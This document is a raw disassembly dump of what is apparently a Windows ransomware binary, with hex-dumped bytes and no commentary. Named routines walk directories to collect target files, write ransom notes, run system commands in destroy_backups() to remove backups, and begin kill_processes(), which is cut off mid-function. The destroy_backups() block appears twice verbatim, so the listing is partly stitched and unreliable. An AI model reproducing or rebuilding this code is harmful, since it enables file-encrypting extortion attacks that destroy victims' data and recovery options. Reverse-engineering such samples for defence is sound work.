140007ad8mov rcx, rax
140007adbcall std::filesystem::__cxx11::path::~path()
140007ae0lea rdx, [rip+0xff749]
140007ae7lea rax, [rbp-96]
140007aebmov rcx, rax
140007aeecall _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_
140007af3test al, al
140007af5je 0x140007bdf
140007afblea rdx, [rip+0x100284]
140007b02lea rax, [rbp-96]
140007b06mov rcx, rax
140007b09call _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_
140007b0etest al, al
140007b10je 0x140007bdf
140007b16lea rdx, [rip+0x10026c]
140007b1dlea rax, [rbp-96]
140007b21mov r8l, 0
140007b27mov rcx, rax
140007b2acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b2fcmp rax, -1
140007b33jne 0x140007bdf
140007b39lea rdx, [rip+0x100251]
140007b40lea rax, [rbp-96]
140007b44mov r8l, 0
140007b4amov rcx, rax
140007b4dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b52cmp rax, -1
140007b56jne 0x140007bdf
140007b5clea rdx, [rip+0x10023c]
140007b63lea rax, [rbp-96]
140007b67mov r8l, 0
140007b6dmov rcx, rax
140007b70call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b75cmp rax, -1
140007b79jne 0x140007bdf
140007b7blea rdx, [rip+0x100231]
140007b82lea rax, [rbp-96]
140007b86mov r8l, 0
140007b8cmov rcx, rax
140007b8fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007b94cmp rax, -1
140007b98jne 0x140007bdf
140007b9alea rdx, [rip+0x10021f]
140007ba1lea rax, [rbp-96]
140007ba5mov r8l, 0
140007babmov rcx, rax
140007baecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007bb3cmp rax, -1
140007bb7jne 0x140007bdf
140007bb9lea rdx, [rip+0x100208]
140007bc0lea rax, [rbp-96]
140007bc4mov r8l, 0
140007bcamov rcx, rax
140007bcdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find(char const*, unsigned long long) const
140007bd2cmp rax, -1
140007bd6jne 0x140007bdf
140007bd8mov eax, 1
140007bddjmp 0x140007be4
140007bdf
140007bdfloc_140007bdf:
140007bdfmov eax, 0
140007be4
140007be4loc_140007be4:
140007be4test al, al
140007be6je 0x140007bff
140007be8mov rax, [rbp+824]
140007befmov rcx, rax
140007bf2call std::filesystem::__cxx11::directory_entry::path() const
140007bf7mov rcx, rax
140007bfacall traverse_and_collect(std::filesystem::__cxx11::path const&)
140007bff
140007bffloc_140007bff:
140007bfflea rax, [rbp-96]
140007c03mov rcx, rax
140007c06call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007c0bjmp 0x140007d4a
140007c10
140007c10loc_140007c10:
140007c10mov rax, [rbp+824]
140007c17mov rcx, rax
140007c1acall std::filesystem::__cxx11::directory_entry::is_regular_file() const
140007c1ftest al, al
140007c21je 0x140007c55
140007c23mov rax, [rbp+824]
140007c2amov rcx, rax
140007c2dcall std::filesystem::__cxx11::directory_entry::file_size() const
140007c32test rax, rax
140007c35je 0x140007c55
140007c37mov rax, [rbp+824]
140007c3emov rcx, rax
140007c41call std::filesystem::__cxx11::directory_entry::file_size() const
140007c46cmp rax, 0x3200000
140007c4cja 0x140007c55
140007c4emov eax, 1
140007c53jmp 0x140007c5a
140007c55
140007c55loc_140007c55:
140007c55mov eax, 0
140007c5a
140007c5aloc_140007c5a:
140007c5atest al, al
140007c5cje 0x140007d4a
140007c62lea rax, [rbp+80]
140007c66lea rdx, [rip+0x1c04d3]
140007c6dmov rcx, rax
140007c70call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140007c75mov rax, [rbp+824]
140007c7cmov rcx, rax
140007c7fcall std::filesystem::__cxx11::directory_entry::path() const
140007c84mov rdx, rax
140007c87lea rax, [rbp+144]
140007c8emov rcx, rax
140007c91call std::filesystem::__cxx11::path::extension() const
140007c96lea rax, [rbp+112]
140007c9alea rdx, [rbp+144]
140007ca1mov rcx, rax
140007ca4call std::filesystem::__cxx11::path::string() const
140007ca9lea rdx, [rbp+80]
140007cadlea rax, [rbp+112]
140007cb1mov rcx, rax
140007cb4call _ZStneIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EESA_
140007cb9mov ebx, eax
140007cbblea rax, [rbp+112]
140007cbfmov rcx, rax
140007cc2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007cc7lea rax, [rbp+144]
140007ccemov rcx, rax
140007cd1call std::filesystem::__cxx11::path::~path()
140007cd6lea rax, [rbp+80]
140007cdamov rcx, rax
140007cddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140007ce2test bl, bl
140007ce4je 0x140007d4a
140007ce6lea rdx, [rip+0x1c0353]
140007cedlea rax, [rbp-56]
140007cf1mov rcx, rax
140007cf4call std::lock_guard<std::mutex>::lock_guard(std::mutex&)
140007cf9mov rax, [rbp+824]
140007d00mov rcx, rax
140007d03call std::filesystem::__cxx11::directory_entry::path() const
140007d08mov rdx, rax
140007d0blea rax, [rip+0x1c033e]
140007d12mov rcx, rax
140007d15call std::vector<std::filesystem::__cxx11::path, std::allocator<std::filesystem::__cxx11::path>>::push_back(std::filesystem::__cxx11::path const&)
140007d1amovzx eax, [rbp+847]
140007d21xor eax, 1
140007d24test al, al
140007d26je 0x140007d3e
140007d28mov rax, [rbp+880]
140007d2fmov rcx, rax
140007d32call create_ransom_note_in_dir(std::filesystem::__cxx11::path const&)
140007d37mov [rbp+847], 1
140007d3e
140007d3eloc_140007d3e:
140007d3elea rax, [rbp-56]
140007d42mov rcx, rax
140007d45call std::lock_guard<std::mutex>::~lock_guard()
140007d4a
140007d4aloc_140007d4a:
140007d4alea rax, [rbp-32]
140007d4emov rcx, rax
140007d51call std::filesystem::__cxx11::directory_iterator::operator++()
140007d56
140007d56loc_140007d56:
140007d56lea rdx, [rbp-48]
140007d5alea rax, [rbp-32]
140007d5emov rcx, rax
140007d61call std::filesystem::__cxx11::operator!=(std::filesystem::__cxx11::directory_iterator const&, std::filesystem::__cxx11::directory_iterator const&)
140007d66test al, al
140007d68jne 0x140007a7c
140007d6elea rax, [rbp-48]
140007d72mov rcx, rax
140007d75call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d7alea rax, [rbp-32]
140007d7emov rcx, rax
140007d81call std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d86lea rax, [rbp-16]
140007d8amov rcx, rax
140007d8dcall std::filesystem::__cxx11::directory_iterator::~directory_iterator()
140007d92jmp 0x140008473
140007d97
140007d97 48 89 c6 48 89 d3 48 8d 45 H..H..H.E
140007da0 20 48 89 c1 e8 f7 17 0a 00 48 89 f0 48 89 da eb H.......H..H...
140007db0 65 48 89 c6 48 89 d3 48 8d 45 a0 48 89 c1 e8 0d eH..H..H.E.H....
140007dc0 97 0d 00 48 89 f0 48 89 da eb 4b 48 89 c6 48 89 ...H..H...KH..H.
140007dd0 d3 48 8d 85 90 00 00 00 48 89 c1 e8 c0 17 0a 00 .H......H.......
140007de0 eb 06 48 89 c6 48 89 d3 48 8d 45 50 48 89 c1 e8 ..H..H..H.EPH...
140007df0 dc 96 0d 00 48 89 f0 48 89 da eb 1a 48 89 c6 48 ....H..H....H..H
140007e00 89 d3 48 8d 45 c8 48 89 c1 e8 72 61 0a 00 48 89 ..H.E.H...ra..H.
140007e10 f0 48 89 da eb 00 48 83 fa 01 0f 85 54 01 00 00 .H....H.....T...
140007e20 48 89 c1 e8 68 9e 0f 00 48 89 85 30 03 00 00 48 H...h...H..0...H
140007e30 8d 85 ef 00 00 00 48 89 85 20 03 00 00 90 90 48 ......H.. .....H
140007e40 8d 8d ef 00 00 00 48 8d 15 b6 f3 0f 00 48 8d 85 ......H......H..
140007e50 c0 00 00 00 49 89 c8 48 89 c1 e8 c1 8f 0d 00 48 ....I..H.......H
140007e60 8b 85 30 03 00 00 48 8b 00 48 83 c0 10 48 8b 10 ..0...H..H...H..
140007e70 48 8b 85 30 03 00 00 48 89 c1 ff d2 48 89 c3 48 H..0...H....H..H
140007e80 8b 85 38 03 00 00 48 89 c1 e8 a2 4d 02 00 48 89 ..8...H....M..H.
140007e90 c2 48 8d 85 50 01 00 00 48 89 c1 e8 60 76 02 00 .H..P...H...`v..
140007ea0 48 8d 85 30 01 00 00 48 8d 8d 50 01 00 00 48 8d H..0...H..P...H.
140007eb0 15 23 ff 0f 00 49 89 c8 48 89 c1 e8 10 6c 0f 00 .#...I..H....l..
140007ec0 48 8d 85 10 01 00 00 48 8d 0d 9a fe 0f 00 48 8d H......H......H.
140007ed0 95 30 01 00 00 49 89 c8 48 89 c1 e8 70 6a 0f 00 .0...I..H...pj..
140007ee0 48 8d 85 f0 00 00 00 48 8d 95 10 01 00 00 49 89 H......H......I.
140007ef0 d8 48 89 c1 e8 57 6a 0f 00 48 8d 95 c0 00 00 00 .H...Wj..H......
140007f00 48 8d 85 f0 00 00 00 48 89 c1 e8 fc 97 ff ff 48 H......H.......H
140007f10 8d 85 f0 00 00 00 48 89 c1 e8 b2 95 0d 00 48 8d ......H.......H.
140007f20 85 10 01 00 00 48 89 c1 e8 a3 95 0d 00 48 8d 85 .....H.......H..
140007f30 30 01 00 00 48 89 c1 e8 94 95 0d 00 48 8d 85 50 0...H.......H..P
140007f40 01 00 00 48 89 c1 e8 85 95 0d 00 48 8d 85 c0 00 ...H.......H....
140007f50 00 00 48 89 c1 e8 76 95 0d 00 48 8d 85 ef 00 00 ..H...v...H.....
140007f60 00 48 89 c1 e8 67 5e 0c 00 90 e8 11 9f 0f 00 e9 .H...g^.........
140007f70 d6 fd ff ff 48 89 c1 e8 14 9d 0f 00 48 8d 85 9f ....H.......H...
140007f80 01 00 00 48 89 85 18 03 00 00 90 90 48 8d 8d 9f ...H........H...
140007f90 01 00 00 48 8d 15 69 f2 0f 00 48 8d 85 70 01 00 ...H..i...H..p..
140007fa0 00 49 89 c8 48 89 c1 e8 74 8e 0d 00 48 8b 85 38 .I..H...t...H..8
140007fb0 03 00 00 48 89 c1 e8 75 4c 02 00 48 89 c2 48 8d ...H...uL..H..H.
140007fc0 85 c0 01 00 00 48 89 c1 e8 33 75 02 00 48 8d 85 .....H...3u..H..
140007fd0 a0 01 00 00 48 8d 8d c0 01 00 00 48 8d 15 1e fe ....H......H....
140007fe0 0f 00 49 89 c8 48 89 c1 e8 e3 6a 0f 00 48 8d 95 ..I..H....j..H..
140007ff0 70 01 00 00 48 8d 85 a0 01 00 00 48 89 c1 e8 08 p...H......H....
140008000 97 ff ff 48 8d 85 a0 01 00 00 48 89 c1 e8 be 94 ...H......H.....
140008010 0d 00 48 8d 85 c0 01 00 00 48 89 c1 e8 af 94 0d ..H......H......
140008020 00 48 8d 85 70 01 00 00 48 89 c1 e8 a0 94 0d 00 .H..p...H.......
140008030 48 8d 85 9f 01 00 00 48 89 c1 e8 91 5d 0c 00 90 H......H....]...
140008040 e8 3b 9e 0f 00 e9 00 fd ff ff 48 89 c6 48 89 d3 .;........H..H..
140008050 48 8d 85 f0 00 00 00 48 89 c1 e8 71 94 0d 00 eb H......H...q....
140008060 06 48 89 c6 48 89 d3 48 8d 85 10 01 00 00 48 89 .H..H..H......H.
140008070 c1 e8 5a 94 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ..Z.....H..H..H.
140008080 85 30 01 00 00 48 89 c1 e8 43 94 0d 00 eb 06 48 .0...H...C.....H
140008090 89 c6 48 89 d3 48 8d 85 50 01 00 00 48 89 c1 e8 ..H..H..P...H...
1400080a0 2c 94 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 c0 ,.....H..H..H...
1400080b0 00 00 00 48 89 c1 e8 15 94 0d 00 eb 06 48 89 c6 ...H.........H..
1400080c0 48 89 d3 48 8d 85 ef 00 00 00 48 89 c1 e8 fe 5c H..H......H....\
1400080d0 0c 00 90 e8 a8 9d 0f 00 eb 68 48 89 c6 48 89 d3 .........hH..H..
1400080e0 48 8d 85 a0 01 00 00 48 89 c1 e8 e1 93 0d 00 eb H......H........
1400080f0 06 48 89 c6 48 89 d3 48 8d 85 c0 01 00 00 48 89 .H..H..H......H.
140008100 c1 e8 ca 93 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ........H..H..H.
140008110 85 70 01 00 00 48 89 c1 e8 b3 93 0d 00 eb 06 48 .p...H.........H
140008120 89 c6 48 89 d3 48 8d 85 9f 01 00 00 48 89 c1 e8 ..H..H......H...
140008130 9c 5c 0c 00 90 e8 46 9d 0f 00 eb 06 48 89 c6 48 .\....F.....H..H
140008140 89 d3 48 8d 45 d0 48 89 c1 e8 62 ab 09 00 48 8d ..H.E.H...b...H.
140008150 45 e0 48 89 c1 e8 56 ab 09 00 48 8d 45 f0 48 89 E.H...V...H.E.H.
140008160 c1 e8 4a ab 09 00 48 89 f0 48 89 da eb 00 48 83 ..J...H..H....H.
140008170 fa 01 0f 85 49 01 00 00 48 89 c1 e8 10 9b 0f 00 ....I...H.......
140008180 48 89 85 28 03 00 00 48 8d 85 0f 02 00 00 48 89 H..(...H......H.
140008190 85 10 03 00 00 90 90 48 8d 8d 0f 02 00 00 48 8d .......H......H.
1400081a0 15 5e f0 0f 00 48 8d 85 e0 01 00 00 49 89 c8 48 .^...H......I..H
1400081b0 89 c1 e8 69 8c 0d 00 48 8b 85 28 03 00 00 48 8b ...i...H..(...H.
1400081c0 00 48 83 c0 10 48 8b 10 48 8b 85 28 03 00 00 48 .H...H..H..(...H
1400081d0 89 c1 ff d2 48 89 c3 48 8d 85 70 02 00 00 48 8b ....H..H..p...H.
1400081e0 95 70 03 00 00 48 89 c1 e8 13 73 02 00 48 8d 85 .p...H....s..H..
1400081f0 50 02 00 00 48 8d 8d 70 02 00 00 48 8d 15 23 fc P...H..p...H..#.
140008200 0f 00 49 89 c8 48 89 c1 e8 c3 68 0f 00 48 8d 85 ..I..H....h..H..
140008210 30 02 00 00 48 8d 0d 4d fb 0f 00 48 8d 95 50 02 0...H..M...H..P.
140008220 00 00 49 89 c8 48 89 c1 e8 23 67 0f 00 48 8d 85 ..I..H...#g..H..
140008230 10 02 00 00 48 8d 95 30 02 00 00 49 89 d8 48 89 ....H..0...I..H.
140008240 c1 e8 0a 67 0f 00 48 8d 95 e0 01 00 00 48 8d 85 ...g..H......H..
140008250 10 02 00 00 48 89 c1 e8 af 94 ff ff 48 8d 85 10 ....H.......H...
140008260 02 00 00 48 89 c1 e8 65 92 0d 00 48 8d 85 30 02 ...H...e...H..0.
140008270 00 00 48 89 c1 e8 56 92 0d 00 48 8d 85 50 02 00 ..H...V...H..P..
140008280 00 48 89 c1 e8 47 92 0d 00 48 8d 85 70 02 00 00 .H...G...H..p...
140008290 48 89 c1 e8 38 92 0d 00 48 8d 85 e0 01 00 00 48 H...8...H......H
1400082a0 89 c1 e8 29 92 0d 00 48 8d 85 0f 02 00 00 48 89 ...)...H......H.
1400082b0 c1 e8 1a 5b 0c 00 90 e8 c4 9b 0f 00 e9 b2 01 00 ...[............
1400082c0 00 48 89 c1 e8 c7 99 0f 00 48 8d 85 bf 02 00 00 .H.......H......
1400082d0 48 89 85 08 03 00 00 90 90 48 8d 8d bf 02 00 00 H........H......
1400082e0 48 8d 15 1c ef 0f 00 48 8d 85 90 02 00 00 49 89 H......H......I.
1400082f0 c8 48 89 c1 e8 27 8b 0d 00 48 8d 85 e0 02 00 00 .H...'...H......
140008300 48 8b 95 70 03 00 00 48 89 c1 e8 f1 71 02 00 48 H..p...H....q..H
140008310 8d 85 c0 02 00 00 48 8d 8d e0 02 00 00 48 8d 15 ......H......H..
140008320 1e fb 0f 00 49 89 c8 48 89 c1 e8 a1 67 0f 00 48 ....I..H....g..H
140008330 8d 95 90 02 00 00 48 8d 85 c0 02 00 00 48 89 c1 ......H......H..
140008340 e8 c6 93 ff ff 48 8d 85 c0 02 00 00 48 89 c1 e8 .....H......H...
140008350 7c 91 0d 00 48 8d 85 e0 02 00 00 48 89 c1 e8 6d |...H......H...m
140008360 91 0d 00 48 8d 85 90 02 00 00 48 89 c1 e8 5e 91 ...H......H...^.
140008370 0d 00 48 8d 85 bf 02 00 00 48 89 c1 e8 4f 5a 0c ..H......H...OZ.
140008380 00 90 e8 f9 9a 0f 00 e9 e7 00 00 00 48 89 c3 48 ............H..H
140008390 8d 85 10 02 00 00 48 89 c1 e8 32 91 0d 00 eb 03 ......H...2.....
1400083a0 48 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 1e 91 H..H..0...H.....
1400083b0 0d 00 eb 03 48 89 c3 48 8d 85 50 02 00 00 48 89 ....H..H..P...H.
1400083c0 c1 e8 0a 91 0d 00 eb 03 48 89 c3 48 8d 85 70 02 ........H..H..p.
1400083d0 00 00 48 89 c1 e8 f6 90 0d 00 eb 03 48 89 c3 48 ..H.........H..H
1400083e0 8d 85 e0 01 00 00 48 89 c1 e8 e2 90 0d 00 eb 03 ......H.........
1400083f0 48 89 c3 48 8d 85 0f 02 00 00 48 89 c1 e8 ce 59 H..H......H....Y
140008400 0c 00 90 e8 78 9a 0f 00 48 89 d8 48 89 c1 e8 8d ....x...H..H....
140008410 2f 01 00 48 89 c3 48 8d 85 c0 02 00 00 48 89 c1 /..H..H......H..
140008420 e8 ab 90 0d 00 eb 03 48 89 c3 48 8d 85 e0 02 00 .......H..H.....
140008430 00 48 89 c1 e8 97 90 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
140008440 85 90 02 00 00 48 89 c1 e8 83 90 0d 00 eb 03 48 .....H.........H
140008450 89 c3 48 8d 85 bf 02 00 00 48 89 c1 e8 6f 59 0c ..H......H...oY.
140008460 00 90 e8 19 9a 0f 00 48 89 d8 48 89 c1 e8 2e 2f .......H..H..../
140008470 01 00 ..
140008472
140008472loc_140008472:
140008472nop
140008473
140008473loc_140008473:
140008473add rsp, 976
14000847apop rbx
14000847bpop rsi
14000847cpop rbp
14000847dret
140007998
14000847e
14000847edestroy_backups():
14000847epush rbp
14000847fpush rbx
140008480sub rsp, 264
140008487lea rbp, [rsp+128]
14000848flea rax, [rbp-49]
140008493mov [rbp+120], rax
140008497nop
140008498nop
140008499lea rcx, [rbp-49]
14000849dlea rdx, [rip+0xfed45]
1400084a4lea rax, [rbp-96]
1400084a8mov r8, rcx
1400084abmov rcx, rax
1400084aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400084b3lea rax, [rbp-1]
1400084b7mov [rbp+112], rax
1400084bbnop
1400084bcnop
1400084bdlea rcx, [rbp-1]
1400084c1lea rdx, [rip+0xff998]
1400084c8lea rax, [rbp-48]
1400084ccmov r8, rcx
1400084cfmov rcx, rax
1400084d2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400084d7lea rdx, [rbp-96]
1400084dblea rax, [rbp-48]
1400084dfmov rcx, rax
1400084e2call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400084e7lea rax, [rbp-48]
1400084ebmov rcx, rax
1400084eecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400084f3lea rax, [rbp-1]
1400084f7mov rcx, rax
1400084facall std::__new_allocator<char>::~__new_allocator()
1400084ffnop
140008500lea rax, [rbp-96]
140008504mov rcx, rax
140008507call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000850clea rax, [rbp-49]
140008510mov rcx, rax
140008513call std::__new_allocator<char>::~__new_allocator()
140008518nop
140008519lea rax, [rip+0xff980]
140008520mov rcx, rax
140008523call system
140008528lea rax, [rip+0xff9a9]
14000852fmov rcx, rax
140008532call system
140008537lea rax, [rip+0xff9c2]
14000853emov rcx, rax
140008541call system
140008546lea rax, [rip+0xffa03]
14000854dmov rcx, rax
140008550call system
140008555lea rax, [rbp+47]
140008559mov [rbp+104], rax
14000855dnop
14000855enop
14000855flea rcx, [rbp+47]
140008563lea rdx, [rip+0xfec7f]
14000856amov rax, rbp
14000856dmov r8, rcx
140008570mov rcx, rax
140008573call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008578lea rax, [rbp+95]
14000857cmov [rbp+96], rax
140008580nop
140008581nop
140008582lea rcx, [rbp+95]
140008586lea rdx, [rip+0xffa03]
14000858dlea rax, [rbp+48]
140008591mov r8, rcx
140008594mov rcx, rax
140008597call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000859cmov rdx, rbp
14000859flea rax, [rbp+48]
1400085a3mov rcx, rax
1400085a6call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400085ablea rax, [rbp+48]
1400085afmov rcx, rax
1400085b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400085b7lea rax, [rbp+95]
1400085bbmov rcx, rax
1400085becall std::__new_allocator<char>::~__new_allocator()
1400085c3nop
1400085c4mov rax, rbp
1400085c7mov rcx, rax
1400085cacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400085cflea rax, [rbp+47]
1400085d3mov rcx, rax
1400085d6call std::__new_allocator<char>::~__new_allocator()
1400085dbjmp 0x140008674
1400085e0
1400085e0 48 89 c3 48 8d 45 d0 48 89 c1 e8 e1 8e 0d 00 eb H..H.E.H........
1400085f0 03 48 89 c3 48 8d 45 ff 48 89 c1 e8 d0 57 0c 00 .H..H.E.H....W..
140008600 90 48 8d 45 a0 48 89 c1 e8 c3 8e 0d 00 eb 03 48 .H.E.H.........H
140008610 89 c3 48 8d 45 cf 48 89 c1 e8 b2 57 0c 00 90 48 ..H.E.H....W...H
140008620 89 d8 48 89 c1 e8 76 2d 01 00 48 89 c3 48 8d 45 ..H...v-..H..H.E
140008630 30 48 89 c1 e8 97 8e 0d 00 eb 03 48 89 c3 48 8d 0H.........H..H.
140008640 45 5f 48 89 c1 e8 86 57 0c 00 90 48 89 e8 48 89 E_H....W...H..H.
140008650 c1 e8 7a 8e 0d 00 eb 03 48 89 c3 48 8d 45 2f 48 ..z.....H..H.E/H
140008660 89 c1 e8 69 57 0c 00 90 48 89 d8 48 89 c1 e8 2d ...iW...H..H...-
140008670 2d 01 00 90 -...
140008674
140008674loc_140008674:
140008674add rsp, 264
14000867bpop rbx
14000867cpop rbp
14000867dret
14000847e
14000847edestroy_backups():
14000847epush rbp
14000847fpush rbx
140008480sub rsp, 264
140008487lea rbp, [rsp+128]
14000848flea rax, [rbp-49]
140008493mov [rbp+120], rax
140008497nop
140008498nop
140008499lea rcx, [rbp-49]
14000849dlea rdx, [rip+0xfed45]
1400084a4lea rax, [rbp-96]
1400084a8mov r8, rcx
1400084abmov rcx, rax
1400084aecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400084b3lea rax, [rbp-1]
1400084b7mov [rbp+112], rax
1400084bbnop
1400084bcnop
1400084bdlea rcx, [rbp-1]
1400084c1lea rdx, [rip+0xff998]
1400084c8lea rax, [rbp-48]
1400084ccmov r8, rcx
1400084cfmov rcx, rax
1400084d2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400084d7lea rdx, [rbp-96]
1400084dblea rax, [rbp-48]
1400084dfmov rcx, rax
1400084e2call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400084e7lea rax, [rbp-48]
1400084ebmov rcx, rax
1400084eecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400084f3lea rax, [rbp-1]
1400084f7mov rcx, rax
1400084facall std::__new_allocator<char>::~__new_allocator()
1400084ffnop
140008500lea rax, [rbp-96]
140008504mov rcx, rax
140008507call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000850clea rax, [rbp-49]
140008510mov rcx, rax
140008513call std::__new_allocator<char>::~__new_allocator()
140008518nop
140008519lea rax, [rip+0xff980]
140008520mov rcx, rax
140008523call system
140008528lea rax, [rip+0xff9a9]
14000852fmov rcx, rax
140008532call system
140008537lea rax, [rip+0xff9c2]
14000853emov rcx, rax
140008541call system
140008546lea rax, [rip+0xffa03]
14000854dmov rcx, rax
140008550call system
140008555lea rax, [rbp+47]
140008559mov [rbp+104], rax
14000855dnop
14000855enop
14000855flea rcx, [rbp+47]
140008563lea rdx, [rip+0xfec7f]
14000856amov rax, rbp
14000856dmov r8, rcx
140008570mov rcx, rax
140008573call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140008578lea rax, [rbp+95]
14000857cmov [rbp+96], rax
140008580nop
140008581nop
140008582lea rcx, [rbp+95]
140008586lea rdx, [rip+0xffa03]
14000858dlea rax, [rbp+48]
140008591mov r8, rcx
140008594mov rcx, rax
140008597call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000859cmov rdx, rbp
14000859flea rax, [rbp+48]
1400085a3mov rcx, rax
1400085a6call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400085ablea rax, [rbp+48]
1400085afmov rcx, rax
1400085b2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400085b7lea rax, [rbp+95]
1400085bbmov rcx, rax
1400085becall std::__new_allocator<char>::~__new_allocator()
1400085c3nop
1400085c4mov rax, rbp
1400085c7mov rcx, rax
1400085cacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400085cflea rax, [rbp+47]
1400085d3mov rcx, rax
1400085d6call std::__new_allocator<char>::~__new_allocator()
1400085dbjmp 0x140008674
1400085e0
1400085e0 48 89 c3 48 8d 45 d0 48 89 c1 e8 e1 8e 0d 00 eb H..H.E.H........
1400085f0 03 48 89 c3 48 8d 45 ff 48 89 c1 e8 d0 57 0c 00 .H..H.E.H....W..
140008600 90 48 8d 45 a0 48 89 c1 e8 c3 8e 0d 00 eb 03 48 .H.E.H.........H
140008610 89 c3 48 8d 45 cf 48 89 c1 e8 b2 57 0c 00 90 48 ..H.E.H....W...H
140008620 89 d8 48 89 c1 e8 76 2d 01 00 48 89 c3 48 8d 45 ..H...v-..H..H.E
140008630 30 48 89 c1 e8 97 8e 0d 00 eb 03 48 89 c3 48 8d 0H.........H..H.
140008640 45 5f 48 89 c1 e8 86 57 0c 00 90 48 89 e8 48 89 E_H....W...H..H.
140008650 c1 e8 7a 8e 0d 00 eb 03 48 89 c3 48 8d 45 2f 48 ..z.....H..H.E/H
140008660 89 c1 e8 69 57 0c 00 90 48 89 d8 48 89 c1 e8 2d ...iW...H..H...-
140008670 2d 01 00 90 -...
140008674
140008674loc_140008674:
140008674add rsp, 264
14000867bpop rbx
14000867cpop rbp
14000867dret
14000847e
14000867e
14000867ekill_processes():
14000867epush rbp
14000867fpush rbx
140008680sub rsp, 1064
140008687lea rbp, [rsp+128]
14000868flea rax, [rbp+447]
140008696mov [rbp+896], rax
14000869dnop
14000869enop
14000869flea rcx, [rbp+447]
1400086a6lea rdx, [rip+0xfeb3c]
1400086adlea rax, [rbp+400]
1400086b4mov r8, rcx
1400086b7mov rcx, rax
1400086bacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400086bflea rax, [rbp+495]
1400086c6mov [rbp+888], rax
1400086cdnop
1400086cenop
1400086cflea rcx, [rbp+495]
1400086d6lea rdx, [rip+0xff8db]
1400086ddlea rax, [rbp+448]
1400086e4mov r8, rcx
1400086e7mov rcx, rax
1400086eacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400086eflea rdx, [rbp+400]
1400086f6lea rax, [rbp+448]
1400086fdmov rcx, rax
140008700call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140008705lea rax, [rbp+448]
14000870cmov rcx, rax
14000870fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008714lea rax, [rbp+495]
14000871bmov rcx, rax
14000871ecall std::__new_allocator<char>::~__new_allocator()
140008723nop
140008724lea rax, [rbp+400]
14000872bmov rcx, rax
14000872ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140008733lea rax, [rbp+447]
14000873amov rcx, rax
14000873dcall std::__new_allocator<char>::~__new_allocator()
140008742nop
140008743lea rax, [rip+0xff8ad]
14000874amov [rbp+208], rax
